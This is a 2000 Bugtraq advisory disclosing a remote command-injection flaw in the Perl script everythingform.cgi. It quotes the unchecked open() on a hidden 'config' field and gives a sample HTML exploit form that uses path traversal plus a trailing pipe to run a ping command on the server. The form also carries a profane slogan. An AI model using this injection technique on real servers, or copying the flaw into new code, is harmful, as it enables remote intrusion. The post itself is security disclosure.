[18046] in bugtraq
Insecure input validation in everythingform.cgi (remote command
daemon@ATHENA.MIT.EDU (rpc)
Tue Dec 12 20:09:26 2000
Content-Type: text/plain; charset="iso-8859-1"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Mime-Version: 1.0
Message-Id: <20001211221406.CE9F824C41E@lists.securityfocus.com>
Date: Mon, 11 Dec 2000 14:16:03 GMT
Reply-To: rpc <h@ckz.org>
From: rpc <h@CKZ.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Hi All,
This is Yet Another Bad Perl Script. everythingform.cgi uses a hidden field
'config' to determine where to read configuration data from.
--code snippit--
..
$ConfigFile = $in{config};
..
open(CONFIG, "$configdir$ConfigFile") || &Error("I can\'t open $ConfigFile in
the ReadConfig subroutine. Reason: $!");
------------
Information regarding everythingform can be found at:
http://www.conservatives.net/atheist/scripts/index.html?everythingform
Sample exploit:
<form action="http://www.conservatives.net/someplace/everythingform.cgi"
method=POST>
<h1>everythingform.cgi exploit</h1>
Command: <input type=text name=config value="../../../../../../../../bin/ping
-c 5 www.foobar.com|">
<input type=hidden name=Name value="fuck the religious right">
<input type=hidden name="e-mail" value="foo@bar.net">
<input type=hidden name=FavoriteColor value=Black>
<input type=submit value=run>
</form>
--rpc
